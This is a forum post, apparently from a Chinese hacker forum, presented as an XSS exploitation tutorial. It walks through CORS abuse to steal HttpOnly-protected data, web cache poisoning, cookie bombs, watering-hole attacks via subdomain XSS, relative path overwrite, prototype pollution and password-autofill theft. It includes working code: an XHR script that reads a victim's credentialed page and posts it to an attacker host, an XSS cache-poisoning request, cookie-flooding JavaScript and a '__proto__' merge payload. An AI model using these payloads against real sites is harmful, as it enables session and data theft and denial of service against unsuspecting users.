• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

XSS漏洞使用教程【攻防演练】


H4CK

Recommended Posts

XSS的fuzz payload字典


CORS

CORS(corss orgin request sharing)
属于浏览器特性,用来实现跨域请求的。
https://medium.com/@baphemot/understanding-cors-18ad6b478e2b
1.盗取httponly cookie
2.缓存投毒
3.cookie炸弹
4.水坑攻击

盗取httponly cookie

设置httponly:
setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);   //php
当网站使用了httponly的时候,会限制js读取cookie.
利用cors窃取cookie的条件:
服务器端进行设置:
  设置Access-Control-Allow-Origin:xxx.com
  设置了Access-Control-Allow-Credentials:true
然后再寻找一个存在xss的并且允许跨域的域名来进行攻击。


主要利用代码就是一个XHR的一个异步请求。其中最重要的就是一定要设置 xhr1.withCredentials = true; 这样才会在跨域请求的时候带上cookie.

<script >
function loadXMLDoc()
{
    var xhr1;
    var xhr2;
    if(window.XMLHttpRequest)
    {
        xhr1 = new XMLHttpRequest();
        xhr2 = new XMLHttpRequest();
    }
    else
    {
        xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
        xhr2= new ActiveXObject("Microsoft.XMLHTTP");
    }
    xhr1.onreadystatechange=function()
    {
        if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
        {
            var datas=xhr1.responseText;
            xhr2.open("POST","http://www.evil.com/save.php","true");
            xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
            xhr2.send("T1="+escape(datas));      
        }
    }
    xhr1.open("GET","http://www.vuln.com/secrect.php","true") //request user page.
    xhr1.withCredentials = true;        //request with cookie
    xhr1.send();
}
loadXMLDoc();
</script>

一个实例:https://blog.csdn.net/weixin_41679427/article/details/97536860

缓存投毒

用户在对资源进行请求的时候,根据缓存机制,会在缓存中进行查询,如果命中缓存,就会直接返回缓存的资源。如果是资源不存在或者过期的话,就会重新对服务器发起资源的请求。
xss缓存投毒实现主要是存在可控的,能输出的非缓存键。可以构造payload,诱使用户点击,进行投毒。这样用户在访问的时候,每次都会命中该缓存,造成攻击。
类似如下的请求和响应:(X-Forwarded-Host为可控的点)
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."><sc ript>alert(1)</sc ript>

HTTP/1.1 200 OK
Cache-Control: public, no-cache

<me ta property="og:image" content="https://a."><sc ript>alert(1)</sc ript>"/> 

确定投毒时间:
1.疯狂发包,服务器的缓存一旦过期就会中毒。(有点憨憨)
2.根据缓存存活的时间计算缓存到期时间。

关于缓存的一点东西:
Web 缓存大致可以分为:服务器端缓存(代理服务器缓存、CDN 缓存)、浏览器缓存。
缓存键:类似于缓存的特征值,用来定位缓存

浏览器缓存机制:
当用户对资源进行请求时,浏览器会首先进行查找是否命中缓存,没有的话就会像服务器发送请求。浏览器每次拿到返回的请求结果都会将该结果和缓存标识存入浏览器缓存中。
缓存位置:
    Service Workerhttps
    Memory Cache
    Disk Cache
    Push CacheHTTP/2

强制缓存:Expires(http1.0)Cache-Control(http1.1)
协商缓存:Last-ModifiedETagIf-None-Match(服务器添加的缓存标识)

cookie炸弹

cookie炸弹是原理是由于服务器在对请求进行解析时,无法解析过长的cookie,导致请求失败。如果被攻击页面存在xss的话,就可以注入超长的cookie,使页面无法访问。
function setCookie(name,value)
{
    var Days = 30;
    var exp = new Date();
    exp.setTime(exp.getTime() + Days*24*60*60*1000);
    document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();

    
    var strsec = getsec(time);
    var exp = new Date();
    exp.setTime(exp.getTime() + strsec*1);
    document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
}

//每个cookie的长度不能超过4kb,具体的注入的cookie长度值没有具体统计过。测试中百度使用两个cookie无法响应。

水坑攻击

水坑攻击的主要方式是想要通过利用存在xss的旁站,来进行对主站的攻击。
条件:
1.没有设置x-frame-optionsdeny
2.存在xss的子域名
3.在引入iframe时要设置document.domain("xxx.com")//主站和子域名都需要设置

攻击流程:
自己构造一个页面作为顶级窗口---》利用存在xss漏洞的子域名,创建iframe标签,引入想要攻击的页面---》用户打开触发,完成攻击



rpo

rpo(relative path overwrite)相对路径覆盖
主要是由于web服务器和浏览器解析机制不同
eg. www.aaa.com目录下存在1.jsa.html。其中a.html调用了js文件,使用的是相对路径:src=1.js
     www.aaa.com/a/ 下也存在一个1.js.
     当在浏览器中输入www.aaa.com/a/..%2fa.html时。服务器会正常解析 / ,并且返回www.aaa.com/a.html
     但是在客户端中并不会对%2f进行解析,当a.html在调用js时,此时的相对路径为www.aaa.com/a/    就会调用该目录下的js


apache服务器不会对2f%进行解析。在nginx下可以对2f%进行解析。

利用条件:
1.niginx服务器
2.调用了js或者css使用了相对路径
3.有能够上传js/css的地方

原型链污染

关于原型链

首先说下什么是原型。
function Dog(name, color) {
    this.name = name
    this.color = color
    this.bark = () => {
        console.log('wangwang~')
    }
}

let dog = new Dog('dog1', 'black')
dog.bark()

可以看到上面定义了一个函数Dog,然后创建一个对象dog.但是如果每次创建对象,都会重新创建bark()这个方法,然后再调用。就感觉很麻烦。为什么不把这个方法单独取出来,每次直接调用就行了。
所以再js中,就会用到原型这个东西来简化操作。
总结一下网上对原型的解释:
1.每个构造函数都有prototype这样一个属性,来指向的就是他的原型对象。例如Dog.prototype 
2.每个对象也有一个属性__proto__ 来指向它的原型对象。例如dog.__proto__ 
3.Dog.prototype ===dog.__proto__     这样两个是相等的,指向同一原型对象。
4.所有的对象都是由它的原型对象继承的,所有的对象都能找到原型对象存在。  所有原型的终点都是Objec.prototype,而且Objec.prototype=NULL
6.每个原型对象都有一个 constructor 属性,指向相关联的构造函数。实例对象也可以访问constructor 属性指向其构造函数。  dog1.__proto__.constructor===Dog.prototype.constructor===Dog()      

原型差不多就是这个意思,再讲一下原型链。
当调用对象中的一个方法的时候,如果这个方法不存在的话,就会往它的原型中进行寻找,如果原型中也不存在的话,就会往原型的原型中进行寻找。。。。。这样一直寻找,直到原型为NULL。所以这样就构成了一个原型链。

将上面的代码修改一下,
function Dog(name, color) {
    this.name = name
    this.color = color
}

Dog.prototype.bark = () => {
    console.log('wangwang~')
}

所以每次创建的对象之后,想要调用bark()这个方法,直接 对象.bark()  就可以了。

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain

关于原型链污染


原型链污染,就是对某个对象的原型进行污染,那么所有继承这个原型的对象都会被污染。

举个最简单的例子:
function Test1(){
	this.a=1	
}

function Test2(){
	this.b=2	
}

let t1 = new Test1()
let t2 = new Test2()

t1.__proto__.__proto__.c=3
console.log(t2.c)
console.log(t1.c)

在这个例子中,t1.__proto__.__proto__==object.所以所有继承object的对象都会被污染。t2虽然本身没有c这个属性,但是在往原型上进行查找时,找到了c这个对象。所以有了返回值。

要造成原型链污染的条件:
1.能够对prototype进行操作
2.能够进行json解析

怎么样才能对proto进行操作呢,首先需要找到一个可以控制的键名,然后将键名改为进行污染的原型 __proto__,可以一直往上污染,最好污染到object.因为所有的对象都继承与这个原型。
js里面merge函数可以对数组进行操作。用于合并数组。
function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let o1 = {"a":{"a1":2}}
let o2 = JSON.parse('{"a": {"a1":1}, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

这个函数的大概意思。新建两个数组对象,然后将会对象进行合并.一定要注意使用JSON.parse,这样才会将__proto__当作是一个键名,与o1中的__proto__进行合并。造成污染。

https://www.freebuf.com/articles/web/200406.html

xssi

浏览器记住密码机制利用

漏洞原理:
当用户在某些网站登录的时候,浏览器会提示是否记住密码,如果选择记住的话,下次在访问登录页面的时候,浏览器会自动填充密码。
漏洞利用:
1.在同源的网站下寻找一处xss
2.伪造登录表单,等浏览器自动填充之后获取表单中的数据进行操作。

简单的测试代码:



ps:只在firefox中利用成功
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now